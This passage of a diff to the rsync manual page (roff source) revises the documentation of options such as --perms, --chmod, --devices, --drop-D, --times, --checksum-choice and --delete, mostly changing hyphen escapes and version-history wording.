@@ very careful that you know how your files are being updated so that you are\n certain that no unintended changes happen due to lingering hard links (and\n see the \\fB\\-\\-inplace\\fP option for more caveats).\n .IP\n-If incremental recursion is active (see \\fB\\-\\-inc\\-recursive\\fP), rsync\n+If incremental recursion is active (see \\fB\\-\\-inc-recursive\\fP), rsync\n may transfer a missing hard-linked file before it finds that another link\n for that contents exists elsewhere in the hierarchy.  This does not affect\n the accuracy of the transfer (i.e. which files are hard-linked together),\n@@ -1681,7 +1469,7 @@ just its efficiency (i.e. copying the data for a new, early copy of a\n hard-linked file that could have been found later in the transfer in\n another member of the hard-linked set of files).  One way to avoid this\n inefficiency is to disable incremental recursion using the\n-\\fB\\-\\-no\\-inc\\-recursive\\fP option.\n+\\fB\\-\\-no-inc-recursive\\fP option.\n .IP \"\\fB\\-\\-perms\\fP, \\fB\\-p\\fP\"\n This option causes the receiving rsync to set the destination permissions\n to be the same as the source permissions. (See also the \\fB\\-\\-chmod\\fP\n@@ -1715,8 +1503,8 @@ permissions (while leaving existing files unchanged), make sure that the\n that all non-masked bits get enabled).  If you'd care to make this latter\n behavior easier to type, you could define a popt alias for it, such as\n putting this line in the file \\fB~/.popt\\fP (the following defines the \\fB\\-Z\\fP\n-option, and includes \\fB\\-\\-no\\-g\\fP to use the default group of the destination\n-directory):\n+option, and includes \\fB\\-\\-no-g\\fP to use the default group of the destination\n+dir):\n .RS 4\n .IP\n .nf\n@@ -1733,14 +1521,20 @@ rsync -avZ src/ dest/\n .RE\n .IP\n (Caveat: make sure that \\fB\\-a\\fP does not follow \\fB\\-Z\\fP, or it will re-enable the\n-two \\fB\\-\\-no\\-*\\fP options mentioned above.)\n-.IP\n-Note that if the remote rsync is older than 2.6.7 (March 2006) and it is\n-the receiver, the behavior when \\fB\\-\\-perms\\fP is off may differ from that\n-described above.\n+two \\fB\\-\\-no-*\\fP options mentioned above.)\n+.IP\n+The preservation of the destination's setgid bit on newly-created\n+directories when \\fB\\-\\-perms\\fP is off was added in rsync 2.6.7.  Older rsync\n+versions erroneously preserved the three special permission bits for\n+newly-created files when \\fB\\-\\-perms\\fP was off, while overriding the\n+destination's setgid bit setting on a newly-created directory.  Default ACL\n+observance was added to the ACL patch for rsync 2.6.7, so older (or\n+non-ACL-enabled) rsyncs use the umask even if default ACLs are present.\n+(Keep in mind that it is the version of the receiving rsync that affects\n+these behaviors.)\n .IP \"\\fB\\-\\-executability\\fP, \\fB\\-E\\fP\"\n-This option causes rsync to preserve the executability or\n-non-executability of regular files when \\fB\\-\\-perms\\fP is not enabled.\n+This option causes rsync to preserve the executability (or\n+non-executability) of regular files when \\fB\\-\\-perms\\fP is not enabled.\n A regular file is considered to be executable if at least one 'x' is turned\n on in its permissions.  When an existing destination file's executability\n differs from that of the corresponding source file, rsync modifies the\n@@ -1760,7 +1554,7 @@ This option causes rsync to update the destination ACLs to be the same as\n the source ACLs.  The option also implies \\fB\\-\\-perms\\fP.\n .IP\n The source and destination systems must have compatible ACL entries for\n-this option to work properly.  See the \\fB\\-\\-fake\\-super\\fP option for a\n+this option to work properly.  See the \\fB\\-\\-fake-super\\fP option for a\n way to backup and restore ACLs that are not compatible.\n .IP \"\\fB\\-\\-xattrs\\fP, \\fB\\-X\\fP\"\n This option causes rsync to update the destination extended attributes to\n@@ -1769,7 +1563,7 @@ be the same as the source ones.\n For systems that support extended-attribute namespaces, a copy being done\n by a super-user copies all namespaces except system.*.  A normal user only\n copies the user.* namespace.  To be able to backup and restore non-user\n-namespaces as a normal user, see the \\fB\\-\\-fake\\-super\\fP option.\n+namespaces as a normal user, see the \\fB\\-\\-fake-super\\fP option.\n .IP\n The above name filtering can be overridden by using one or more filter\n options with the \\fBx\\fP modifier.  When you specify an xattr-affecting\n@@ -1803,8 +1597,8 @@ receiver-only rule that excludes all names:\n .RE\n .IP\n Note that the \\fB\\-X\\fP option does not copy rsync's special xattr values (e.g.\n-those used by \\fB\\-\\-fake\\-super\\fP) unless you repeat the option (e.g. \\fB\\-XX\\fP).\n-This \"copy all xattrs\" mode cannot be used with \\fB\\-\\-fake\\-super\\fP.\n+those used by \\fB\\-\\-fake-super\\fP) unless you repeat the option (e.g. \\fB\\-XX\\fP).\n+This \"copy all xattrs\" mode cannot be used with \\fB\\-\\-fake-super\\fP.\n .IP \"\\fB\\-\\-chmod=CHMOD\\fP\"\n This option tells rsync to apply one or more comma-separated \"chmod\" modes\n to the permission of the files in the transfer.  The resulting value is\n@@ -1834,58 +1628,46 @@ Using octal mode numbers is also allowed:\n .fi\n .RE\n .IP\n-Symbolic permission-copy modes are also allowed, such as \\fBg=u\\fP, \\fBo=g\\fP or\n-\\fBg-o\\fP.  A permission-copy item may copy from one class only (\\fBu\\fP, \\fBg\\fP or\n-\\fBo\\fP) and cannot be combined with \\fBrwxXst\\fP permission letters in the same\n-item.  Use comma-separated items when you need both behaviours, such as\n-\\fBg=o,o=\\fP.\n-.IP\n-A permission-copy \\fB=\\fP item also clears the special bit for each destination\n-class it updates (\\fBu\\fP clears setuid, \\fBg\\fP clears setgid, and \\fBo\\fP clears\n-sticky), matching GNU \\fBchmod\\fP behaviour.\n-.IP\n It is also legal to specify multiple \\fB\\-\\-chmod\\fP options, as each additional\n option is just appended to the list of changes to make.\n .IP\n See the \\fB\\-\\-perms\\fP and \\fB\\-\\-executability\\fP options for how the\n resulting permission value can be applied to the files in the transfer.\n .IP \"\\fB\\-\\-owner\\fP, \\fB\\-o\\fP\"\n-This option causes rsync to set the owner of each destination filesystem\n-object (file, directory, etc.) to be the\n-same as the source object, but only if the receiving rsync is being run as\n-the super-user (see also the \\fB\\-\\-super\\fP and \\fB\\-\\-fake\\-super\\fP\n+This option causes rsync to set the owner of the destination file to be the\n+same as the source file, but only if the receiving rsync is being run as\n+the super-user (see also the \\fB\\-\\-super\\fP and \\fB\\-\\-fake-super\\fP\n options).  Without this option, the owner of new and/or transferred files\n are set to the invoking user on the receiving side.\n .IP\n The preservation of ownership will associate matching names by default, but\n may fall back to using the ID number in some circumstances (see also the\n-\\fB\\-\\-numeric\\-ids\\fP option for a full discussion).\n+\\fB\\-\\-numeric-ids\\fP option for a full discussion).\n .IP \"\\fB\\-\\-group\\fP, \\fB\\-g\\fP\"\n-This option causes rsync to set the group of each destination filesystem\n-object (file, directory, etc.) to be the\n-same as the source object.  If the receiving program is not running as the\n-super-user (or if \\fB\\-\\-no\\-super\\fP was specified), only groups that the\n+This option causes rsync to set the group of the destination file to be the\n+same as the source file.  If the receiving program is not running as the\n+super-user (or if \\fB\\-\\-no-super\\fP was specified), only groups that the\n invoking user on the receiving side is a member of will be preserved.\n Without this option, the group is set to the default group of the invoking\n user on the receiving side.\n .IP\n The preservation of group information will associate matching names by\n default, but may fall back to using the ID number in some circumstances\n-(see also the \\fB\\-\\-numeric\\-ids\\fP option for a full discussion).\n+(see also the \\fB\\-\\-numeric-ids\\fP option for a full discussion).\n .IP \"\\fB\\-\\-devices\\fP\"\n This option causes rsync to transfer character and block device files to\n-the remote system to recreate these devices.  This option has no effect if\n-the receiving rsync is not run as the super-user and neither\n-\\fB\\-\\-super\\fP nor \\fB\\-\\-fake\\-super\\fP is in effect.\n+the remote system to recreate these devices.  If the receiving rsync is not\n+being run as the super-user, rsync silently skips creating the device files\n+(see also the \\fB\\-\\-super\\fP and \\fB\\-\\-fake-super\\fP options).\n .IP\n-When a device file is not created, rsync generates the usual \"non-regular\n-file\" warning.  You can silence the warning by specifying\n-\\fB\\-\\-info=nonreg0\\fP.\n+By default, rsync generates a \"non-regular file\" warning for each device\n+file encountered when this option is not set.  You can silence the warning\n+by specifying \\fB\\-\\-info=nonreg0\\fP.\n .IP \"\\fB\\-\\-specials\\fP\"\n This option causes rsync to transfer special files, such as named sockets\n-and fifos.  Creating these files does not normally require super-user\n-privileges.  Use \\fB\\-\\-drop\\-D\\fP to make the receiving rsync refuse to\n-create them regardless of what the transfer requested.\n+and fifos.  If the receiving rsync is not being run as the super-user,\n+rsync silently skips creating the special files (see also the\n+\\fB\\-\\-super\\fP and \\fB\\-\\-fake-super\\fP options).\n .IP\n By default, rsync generates a \"non-regular file\" warning for each special\n file encountered when this option is not set.  You can silence the warning\n@@ -1893,45 +1675,13 @@ by specifying \\fB\\-\\-info=nonreg0\\fP.\n .IP \"\\fB\\-D\\fP\"\n The \\fB\\-D\\fP option is equivalent to \"\\fB\\-\\-devices\\fP\n \\fB\\-\\-specials\\fP\".\n-.IP \"\\fB\\-\\-drop\\-D\\fP\"\n-This tells the receiving rsync to refuse to create device files and\n-special files, whatever the transfer requested.  Entries for them are\n-skipped exactly as if \\fB\\-D\\fP had not been used, with the usual\n-\"non-regular file\" warning.\n-.IP\n-This differs from \\fB\\-\\-no\\-D\\fP in that it changes only what is created, not\n-how the file list is encoded.  \\fB\\-\\-no\\-D\\fP also turns off the rdev fields\n-that devices and special files carry on the wire, so applying it to one\n-end of a connection alone leaves the two ends disagreeing about the\n-encoding and the transfer fails.  \\fB\\-\\-drop\\-D\\fP can therefore be added on the\n-receiving side by itself, which is what it exists for\\ \\-\\- the \\fBrrsync\\fP\n-wrapper uses it to stop a restricted directory's clients creating device\n-and special files in it.  Nodes already present there are left alone.\n-.IP\n-Because it only withholds creation, it has no effect on a sending rsync.\n-.IP\n-This option is not forwarded to the remote side, since its whole purpose\n-is to be applied to one end of a connection by itself.  It therefore\n-affects the rsync process you give it to and no other: on a local copy, or\n-on the receiving end of a \\fB\\-\\-server\\fP invocation such as the one rrsync\n-builds.  To set it on a remote receiver from the command line, send it\n-explicitly with \\fB\\-\\-remote\\-option\\fP (\\fB\\-M\\fP):\n-.RS 4\n-.IP\n-.nf\n-rsync -av -M--drop-D src/ host:dest/\n-.fi\n-.RE\n-.IP\n-Passing a plain \\fB\\-\\-drop\\-D\\fP to a push affects only the local sender, where\n-it does nothing.\n-.IP \"\\fB\\-\\-copy\\-devices\\fP\"\n+.IP \"\\fB\\-\\-copy-devices\\fP\"\n This tells rsync to treat a device on the sending side as a regular file,\n allowing it to be copied to a normal destination file (or another device\n-if \\fB\\-\\-write\\-devices\\fP was also specified).\n+if \\fB\\-\\-write-devices\\fP was also specified).\n .IP\n This option is refused by default by an rsync daemon.\n-.IP \"\\fB\\-\\-write\\-devices\\fP\"\n+.IP \"\\fB\\-\\-write-devices\\fP\"\n This tells rsync to treat a device on the receiving side as a regular file,\n allowing the writing of file data into a device.\n .IP\n@@ -1942,32 +1692,36 @@ receiving side of the transfer, especially when running rsync as root.\n .IP\n This option is refused by default by an rsync daemon.\n .IP \"\\fB\\-\\-times\\fP, \\fB\\-t\\fP\"\n-This tells rsync to set the modification times of the destination files\n-(including directories, symlinks, devices, etc.) to be the same as the\n-source files.\n-Note that if this option is not used,\n+This tells rsync to transfer modification times along with the files and\n+update them on the remote system.  Note that if this option is not used,\n the optimization that excludes files that have not been modified cannot be\n effective; in other words, a missing \\fB\\-t\\fP (or \\fB\\-a\\fP) will cause the\n-next transfer to behave as if it used \\fB\\-\\-ignore\\-times\\fP (\\fB\\-I\\fP),\n-causing all files to be updated. (Although rsync's delta-transfer algorithm\n+next transfer to behave as if it used \\fB\\-\\-ignore-times\\fP (\\fB\\-I\\fP),\n+causing all files to be updated (though rsync's delta-transfer algorithm\n will make the update fairly efficient if the files haven't actually\n-changed, you're much better off using \\fB\\-t\\fP.)\n-.IP\n-If the negotiated protocol is older than 30\\ \\-\\- usually because the remote\n-rsync is older than 3.0.0 (March 2008), but also if \\fB\\-\\-protocol\\fP\n-forces it\\ \\-\\- the range of modification times that can be conveyed is\n-restricted.  If you\n+changed, you're much better off using \\fB\\-t\\fP).\n+.IP\n+A modern rsync that is using transfer protocol 30 or 31 conveys a modify\n+time using up to 8-bytes. If rsync is forced to speak an older protocol\n+(perhaps due to the remote rsync being older than 3.0.0) a modify time is\n+conveyed using 4-bytes. Prior to 3.2.7, these shorter values could convey\n+a date range of 13-Dec-1901 to 19-Jan-2038.  Beginning with 3.2.7, these\n+4-byte values now convey a date range of 1-Jan-1970 to 7-Feb-2106.  If you\n have files dated older than 1970, make sure your rsync executables are\n upgraded so that the full range of dates can be conveyed.\n .IP \"\\fB\\-\\-atimes\\fP, \\fB\\-U\\fP\"\n This tells rsync to set the access (use) times of the destination files to\n the same value as the source files.\n .IP\n-If repeated, it also sets the \\fB\\-\\-open\\-noatime\\fP option, which can help you\n+If repeated, it also sets the \\fB\\-\\-open-noatime\\fP option, which can help you\n to make the sending and receiving systems have the same access times on the\n transferred files without needing to run rsync an extra time after a file\n is transferred.\n-.IP \"\\fB\\-\\-open\\-noatime\\fP\"\n+.IP\n+Note that some older rsync versions (prior to 3.2.0) may have been built\n+with a pre-release \\fB\\-\\-atimes\\fP patch that does not imply\n+\\fB\\-\\-open-noatime\\fP when this option is repeated.\n+.IP \"\\fB\\-\\-open-noatime\\fP\"\n This tells rsync to open files with the O_NOATIME flag (on systems that\n support it) to avoid changing the access time of the files that are being\n transferred.  If your OS does not support the O_NOATIME flag then rsync\n@@ -1979,16 +1733,16 @@ This tells rsync to set the create times (newness) of the destination\n files to the same value as the source files. Your OS & filesystem must\n support the setting of arbitrary creation (birth) times for this option\n to be supported.\n-.IP \"\\fB\\-\\-omit\\-dir\\-times\\fP, \\fB\\-O\\fP\"\n+.IP \"\\fB\\-\\-omit-dir-times\\fP, \\fB\\-O\\fP\"\n This tells rsync to omit directories when it is preserving modification,\n access, and create times.  If NFS is sharing the directories on the receiving\n side, it is a good idea to use \\fB\\-O\\fP.  This option is inferred if you use\n-\\fB\\-\\-backup\\fP without \\fB\\-\\-backup\\-dir\\fP.\n+\\fB\\-\\-backup\\fP without \\fB\\-\\-backup-dir\\fP.\n .IP\n This option also has the side-effect of avoiding early creation of missing\n sub-directories when incremental recursion is enabled, as discussed in the\n-\\fB\\-\\-inc\\-recursive\\fP section.\n-.IP \"\\fB\\-\\-omit\\-link\\-times\\fP, \\fB\\-J\\fP\"\n+\\fB\\-\\-inc-recursive\\fP section.\n+.IP \"\\fB\\-\\-omit-link-times\\fP, \\fB\\-J\\fP\"\n This tells rsync to omit symlinks when it is preserving modification,\n access, and create times.\n .IP \"\\fB\\-\\-super\\fP\"\n@@ -2000,8 +1754,8 @@ copying devices via the \\fB\\-\\-devices\\fP option.  This is useful for\n systems that allow such activities without being the super-user, and also\n for ensuring that you will get errors if the receiving side isn't being run\n as the super-user.  To turn off super-user activities, the super-user can\n-use \\fB\\-\\-no\\-super\\fP.\n-.IP \"\\fB\\-\\-fake\\-super\\fP\"\n+use \\fB\\-\\-no-super\\fP.\n+.IP \"\\fB\\-\\-fake-super\\fP\"\n When this option is enabled, rsync simulates super-user activities by\n saving/restoring the privileged attributes via special extended attributes\n that are attached to each file (as needed).  This includes the file's owner\n@@ -2017,9 +1771,9 @@ ACLs (if \\fB\\-\\-acls\\fP was specified) and non-user extended attributes\n This is a good way to backup data without using a super-user, and to store\n ACLs from incompatible systems.\n .IP\n-The \\fB\\-\\-fake\\-super\\fP option only affects the side where the option is used.\n+The \\fB\\-\\-fake-super\\fP option only affects the side where the option is used.\n To affect the remote side of a remote-shell connection, use the\n-\\fB\\-\\-remote\\-option\\fP (\\fB\\-M\\fP) option:\n+\\fB\\-\\-remote-option\\fP (\\fB\\-M\\fP) option:\n .RS 4\n .IP\n .nf\n@@ -2029,23 +1783,22 @@ rsync -av -M--fake-super /src/ host:/dest/\n .IP\n For a local copy, this option affects both the source and the destination.\n If you wish a local copy to enable this option just for the destination\n-files, specify \\fB\\-M\\-\\-fake\\-super\\fP.  If you wish a local copy to enable this\n-option just for the source files, combine \\fB\\-\\-fake\\-super\\fP with \\fB\\-M\\-\\-super\\fP.\n+files, specify \\fB\\-M\\-\\-fake-super\\fP.  If you wish a local copy to enable this\n+option just for the source files, combine \\fB\\-\\-fake-super\\fP with \\fB\\-M\\-\\-super\\fP.\n .IP\n-This option is overridden by both \\fB\\-\\-super\\fP and \\fB\\-\\-no\\-super\\fP.\n+This option is overridden by both \\fB\\-\\-super\\fP and \\fB\\-\\-no-super\\fP.\n .IP\n See also the \\fBfake\\ super\\fP setting in the\n daemon's rsyncd.conf file.\n .IP \"\\fB\\-\\-sparse\\fP, \\fB\\-S\\fP\"\n Try to handle sparse files efficiently so they take up less space on the\n-destination.  This relies on the destination filesystem supporting sparse\n-files, that is, files where some parts of the file don't have corresponding\n-disk blocks allocated for them because they contain all zero bytes.\n-.IP\n-If combined with \\fB\\-\\-inplace\\fP the file created may not end up with\n-sparse blocks (depending on the filesystem type and kernel version),\n-unless the \\fB\\-\\-whole\\-file\\fP option is also in effect.  Note that versions\n-of rsync older than 3.1.3 (January 2018) will reject the combination of\n+destination.  If combined with \\fB\\-\\-inplace\\fP the file created might\n+not end up with sparse blocks with some combinations of kernel version\n+and/or filesystem type.  If \\fB\\-\\-whole-file\\fP is in effect (e.g. for a\n+local copy) then it will always work because rsync truncates the file prior\n+to writing out the updated version.\n+.IP\n+Note that versions of rsync older than 3.1.3 will reject the combination of\n \\fB\\-\\-sparse\\fP and \\fB\\-\\-inplace\\fP.\n .IP \"\\fB\\-\\-preallocate\\fP\"\n This tells the receiver to allocate each destination file to its eventual\n@@ -2062,44 +1815,42 @@ NTFS, etc.), this option may have no positive effect at all.\n If combined with \\fB\\-\\-sparse\\fP, the file will only have sparse blocks\n (as opposed to allocated sequences of null bytes) if the kernel version and\n filesystem type support creating holes in the allocated data.\n-.IP \"\\fB\\-\\-dry\\-run\\fP, \\fB\\-n\\fP\"\n-This makes rsync perform a trial run that doesn't make any changes, and\n-produces mostly the same output as a real run.  It is most commonly used\n+.IP \"\\fB\\-\\-dry-run\\fP, \\fB\\-n\\fP\"\n+This makes rsync perform a trial run that doesn't make any changes (and\n+produces mostly the same output as a real run).  It is most commonly used\n in combination with the \\fB\\-\\-verbose\\fP (\\fB\\-v\\fP) and/or\n-\\fB\\-\\-itemize\\-changes\\fP (\\fB\\-i\\fP) options to see what an rsync command is\n+\\fB\\-\\-itemize-changes\\fP (\\fB\\-i\\fP) options to see what an rsync command is\n going to do before one actually runs it.\n .IP\n-The output of \\fB\\-\\-itemize\\-changes\\fP is supposed to be exactly the\n-same on a dry run and a subsequent real run (barring external changes to\n-the source or destination\n+The output of \\fB\\-\\-itemize-changes\\fP is supposed to be exactly the\n+same on a dry run and a subsequent real run (barring intentional trickery\n and system call failures); if it isn't, that's a bug.  Other output should\n be mostly unchanged, but may differ in some areas.  Notably, a dry run does\n not send the actual data for file transfers, so \\fB\\-\\-progress\\fP has no\n effect, the \"bytes sent\", \"bytes received\", \"literal data\", and \"matched\n data\" statistics are too small, and the \"speedup\" value is equivalent to a\n run where no file transfers were needed.\n-.IP \"\\fB\\-\\-whole\\-file\\fP, \\fB\\-W\\fP\"\n-This option disables rsync's delta-transfer algorithm, causing the whole of\n-all transferred files to be sent.  The transfer may be faster if this\n+.IP \"\\fB\\-\\-whole-file\\fP, \\fB\\-W\\fP\"\n+This option disables rsync's delta-transfer algorithm, which causes all\n+transferred files to be sent whole.  The transfer may be faster if this\n option is used when the bandwidth between the source and destination\n machines is higher than the bandwidth to disk (especially when the \"disk\"\n is actually a networked filesystem).  This is the default when both the\n source and destination are specified as local paths, but only if no\n batch-writing option is in effect.\n-.IP \"\\fB\\-\\-no\\-whole\\-file\\fP, \\fB\\-\\-no\\-W\\fP\"\n+.IP \"\\fB\\-\\-no-whole-file\\fP, \\fB\\-\\-no-W\\fP\"\n Disable whole-file updating when it is enabled by default for a local\n transfer.  This usually slows rsync down, but it can be useful if you are\n trying to minimize the writes to the destination file (if combined with\n \\fB\\-\\-inplace\\fP) or for testing the checksum-based update algorithm.\n .IP\n-See also the \\fB\\-\\-whole\\-file\\fP option.\n-.IP \"\\fB\\-\\-checksum\\-choice=STR\\fP, \\fB\\-\\-cc=STR\\fP\"\n+See also the \\fB\\-\\-whole-file\\fP option.\n+.IP \"\\fB\\-\\-checksum-choice=STR\\fP, \\fB\\-\\-cc=STR\\fP\"\n This option overrides the checksum algorithms.  If one algorithm name is\n-specified, it is used for both the transfer checksums and the pre-transfer\n-checksums (note that the pre-transfer checksum is only performed if\n-\\fB\\-\\-checksum\\fP is specified).  If two\n+specified, it is used for both the transfer checksums and (assuming\n+\\fB\\-\\-checksum\\fP is specified) the pre-transfer checksums.  If two\n comma-separated names are supplied, the first name affects the transfer\n-checksums, and the second name affects the pre-transfer checksums.\n+checksums, and the second name affects the pre-transfer checksums (\\fB\\-c\\fP).\n .IP\n The checksum options that you may be able to use are:\n .IP\n@@ -2125,7 +1876,7 @@ The checksum options that you may be able to use are:\n Run \\fBrsync\\ \\-\\-version\\fP to see the default checksum list compiled into your\n version (which may differ from the list above).\n .IP\n-If \"none\" is specified for the first (or only) name, the \\fB\\-\\-whole\\-file\\fP\n+If \"none\" is specified for the first (or only) name, the \\fB\\-\\-whole-file\\fP\n option is forced on and no checksum verification is performed on the\n transferred data.  If \"none\" is specified for the second (or only) name,\n the \\fB\\-\\-checksum\\fP option cannot be used.\n@@ -2133,11 +1884,9 @@ the \\fB\\-\\-checksum\\fP option cannot be used.\n The \"auto\" option is the default, where rsync bases its algorithm choice on\n a negotiation between the client and the server as follows:\n .IP\n-When both sides of the transfer are at least 3.2.0 (released June 2020),\n-each side chooses its own\n-most-preferred algorithm that also appears in the peer's list.  Both sides\n-order their lists strongest-first, so they converge on the strongest mutual\n-choice.  If no common checksum choice is found, rsync exits with\n+When both sides of the transfer are at least 3.2.0, rsync chooses the first\n+algorithm in the client's list of choices that is also in the server's list\n+of choices.  If no common checksum choice is found, rsync exits with\n an error.  If the remote rsync is too old to support checksum negotiation,\n a value is chosen based on the protocol version (which chooses between MD5\n and various flavors of MD4 based on protocol age).\n@@ -2152,8 +1901,8 @@ specify the transfer checksum separately from the pre-transfer checksum,\n and it discards \"auto\" and all unknown checksum names.  A list with only\n invalid names results in a failed negotiation.\n .IP\n-The use of the \\fB\\-\\-checksum\\-choice\\fP option overrides this environment list.\n-.IP \"\\fB\\-\\-one\\-file\\-system\\fP, \\fB\\-x\\fP\"\n+The use of the \\fB\\-\\-checksum-choice\\fP option overrides this environment list.\n+.IP \"\\fB\\-\\-one-file-system\\fP, \\fB\\-x\\fP\"\n This tells rsync to avoid crossing a filesystem boundary when recursing.\n This does not limit the user's ability to specify items to copy from\n multiple filesystems, just rsync's recursion through the hierarchy of each\n@@ -2166,30 +1915,30 @@ the copy.  Otherwise, it includes an empty directory at each mount-point it\n encounters (using the attributes of the mounted directory because those of\n the underlying mount-point directory are inaccessible).\n .IP\n-If rsync has been told to collapse symlinks (via \\fB\\-\\-copy\\-links\\fP or\n-\\fB\\-\\-copy\\-unsafe\\-links\\fP), a symlink to a directory on another device\n+If rsync has been told to collapse symlinks (via \\fB\\-\\-copy-links\\fP or\n+\\fB\\-\\-copy-unsafe-links\\fP), a symlink to a directory on another device\n is treated like a mount-point.  Symlinks to non-directories are unaffected\n by this option.\n-.IP \"\\fB\\-\\-ignore\\-non\\-existing\\fP, \\fB\\-\\-existing\\fP\"\n+.IP \"\\fB\\-\\-ignore-non-existing\\fP, \\fB\\-\\-existing\\fP\"\n This tells rsync to skip creating files (including directories) that do not\n exist yet on the destination.  If this option is combined with the\n-\\fB\\-\\-ignore\\-existing\\fP option, no files will be updated (which can be\n+\\fB\\-\\-ignore-existing\\fP option, no files will be updated (which can be\n useful if all you want to do is delete extraneous files).\n .IP\n This option is a TRANSFER RULE, so don't expect any\n exclude side effects.\n-.IP \"\\fB\\-\\-ignore\\-existing\\fP\"\n+.IP \"\\fB\\-\\-ignore-existing\\fP\"\n This tells rsync to skip updating files that already exist on the\n destination (this does \\fInot\\fP ignore existing directories, or nothing would\n-get done).  See also \\fB\\-\\-ignore\\-non\\-existing\\fP.\n+get done).  See also \\fB\\-\\-ignore-non-existing\\fP.\n .IP\n This option is a TRANSFER RULE, so don't expect any\n exclude side effects.\n .IP\n This option can be useful for those doing backups using the\n-\\fB\\-\\-link\\-dest\\fP option when they need to continue a backup run that\n-got interrupted.  Since a \\fB\\-\\-link\\-dest\\fP run is copied into a new\n-directory hierarchy (when it is used properly), using [\\fB\\-\\-ignore\\-existing\\fP\n+\\fB\\-\\-link-dest\\fP option when they need to continue a backup run that\n+got interrupted.  Since a \\fB\\-\\-link-dest\\fP run is copied into a new\n+directory hierarchy (when it is used properly), using [\\fB\\-\\-ignore-existing\\fP\n will ensure that the already-handled files don't get tweaked (which avoids\n a change in permissions on the hard-linked files).  This does mean that\n this option is only looking at the existing files in the destination\n@@ -2201,7 +1950,7 @@ change\" (requires \\fB\\-c\\fP), \"file change\" (based on the quick check),\n \"attr change\", or \"uptodate\".  Using \\fB\\-\\-info=skip1\\fP (which is also\n implied by 2 \\fB\\-v\\fP options) outputs the exists message without the\n INFO suffix.\n-.IP \"\\fB\\-\\-remove\\-source\\-files\\fP\"\n+.IP \"\\fB\\-\\-remove-source-files\\fP\"\n This tells rsync to remove from the sending side the files (meaning\n non-directories) that are a part of the transfer and have been successfully\n duplicated on the receiving side.\n@@ -2217,47 +1966,46 @@ yet finished (e.g. name the file \"foo.new\" when it is written, rename it to\n \"foo\" when it is done, and then use the option \\fB\\-\\-exclude='*.new'\\fP\n for the rsync transfer).\n .IP\n-Rsync will skip the sender-side removal, and output an\n-error, if the file's size or modify time has not stayed unchanged.\n+Starting with 3.1.0, rsync will skip the sender-side removal (and output an\n+error) if the file's size or modify time has not stayed unchanged.\n .IP\n-If the copy is local, rsync will ensure that the sender does\n+Starting with 3.2.6, a local rsync copy will ensure that the sender does\n not remove a file the receiver just verified, such as when the user\n accidentally makes the source and destination directory the same path.\n .IP \"\\fB\\-\\-delete\\fP\"\n-This tells rsync to delete extraneous files from the receiving side (those\n-that don't exist on the sending side), but only for the directories that are\n+This tells rsync to delete extraneous files from the receiving side (ones\n+that aren't on the sending side), but only for the directories that are\n being synchronized.  You must have asked rsync to send the whole directory\n-(e.g. \"\\fBdir\\fP\" or \"\\fBdir/\\fP\"), rather than asking for all the files in a\n-directory via a wildcard (e.g. \"\\fBdir/*\\fP\"), since the wildcard is\n-expanded by the shell and\n+(e.g. \"\\fBdir\\fP\" or \"\\fBdir/\\fP\") without using a wildcard for the directory's\n+contents (e.g. \"\\fBdir/*\\fP\") since the wildcard is expanded by the shell and\n rsync thus gets a request to transfer individual files, not the files'\n parent directory.  Files that are excluded from the transfer are also\n-excluded from being deleted unless you use the \\fB\\-\\-delete\\-excluded\\fP\n+excluded from being deleted unless you use the \\fB\\-\\-delete-excluded\\fP\n option or mark the rules as only matching on the sending side (see the\n include/exclude modifiers in the FILTER RULES section).\n .IP\n-This option has no effect unless either \\fB\\-\\-recursive\\fP or\n-\\fB\\-\\-dirs\\fP (\\fB\\-d\\fP) is enabled.  In the latter case, deletions only\n-occur in directories whose contents are being copied.\n+Prior to rsync 2.6.7, this option would have no effect unless\n+\\fB\\-\\-recursive\\fP was enabled.  Beginning with 2.6.7, deletions will\n+also occur when \\fB\\-\\-dirs\\fP (\\fB\\-d\\fP) is enabled, but only for\n+directories whose contents are being copied.\n .IP\n This option can be dangerous if used incorrectly! It is a very good idea to\n-first try a run using the \\fB\\-\\-dry\\-run\\fP (\\fB\\-n\\fP) option to see what\n+first try a run using the \\fB\\-\\-dry-run\\fP (\\fB\\-n\\fP) option to see what\n files are going to be deleted.\n .IP\n If the sending side detects any I/O errors, then the deletion of any files\n at the destination will be automatically disabled.  This is to prevent\n temporary filesystem failures (such as NFS errors) on the sending side from\n causing a massive deletion of files on the destination.  You can override\n-this with the \\fB\\-\\-ignore\\-errors\\fP option.\n-.IP\n-The \\fB\\-\\-delete\\fP option may be combined with one of the \\-\\-delete\\-WHEN options\n-without conflict, as well as \\fB\\-\\-delete\\-excluded\\fP.  However, if none\n-of the \\fB\\-\\-delete\\-WHEN\\fP options are specified, rsync will choose the\n-\\fB\\-\\-delete\\-during\\fP algorithm when talking to rsync 3.0.0 (March\n-2008) or newer,\n-or the \\fB\\-\\-delete\\-before\\fP algorithm when talking to an older rsync.\n-See also \\fB\\-\\-delete\\-delay\\fP and \\fB\\-\\-delete\\-after\\fP.\n-.IP \"\\fB\\-\\-delete\\-before\\fP\"\n+this with the \\fB\\-\\-ignore-errors\\fP option.\n+.IP\n+The \\fB\\-\\-delete\\fP option may be combined with one of the \\-\\-delete-WHEN options\n+without conflict, as well as \\fB\\-\\-delete-excluded\\fP.  However, if none\n+of the \\fB\\-\\-delete-WHEN\\fP options are specified, rsync will choose the\n+\\fB\\-\\-delete-during\\fP algorithm when talking to rsync 3.0.0 or newer,\n+or the \\fB\\-\\-delete-before\\fP algorithm when talking to an older rsync.\n+See also \\fB\\-\\-delete-delay\\fP and \\fB\\-\\-delete-after\\fP.\n+.IP \"\\fB\\-\\-delete-before\\fP\"\n Request that the file-deletions on the receiving side be done before the\n transfer starts.  See \\fB\\-\\-delete\\fP (which is implied) for more\n details on file-deletion.\n@@ -2269,29 +2017,29 @@ transfer, and this delay might cause the transfer to timeout (if\n \\fB\\-\\-timeout\\fP was specified).  It also forces rsync to use the old,\n non-incremental recursion algorithm that requires rsync to scan all the\n files in the transfer into memory at once (see \\fB\\-\\-recursive\\fP).\n-.IP \"\\fB\\-\\-delete\\-during\\fP, \\fB\\-\\-del\\fP\"\n+.IP \"\\fB\\-\\-delete-during\\fP, \\fB\\-\\-del\\fP\"\n Request that the file-deletions on the receiving side be done incrementally\n as the transfer happens.  The per-directory delete scan is done right\n before each directory is checked for updates, so it behaves like a more\n-efficient \\fB\\-\\-delete\\-before\\fP, including doing the deletions prior to\n-any per-directory filter files being updated.\n-See \\fB\\-\\-delete\\fP (which is implied) for more\n+efficient \\fB\\-\\-delete-before\\fP, including doing the deletions prior to\n+any per-directory filter files being updated.  This option was first 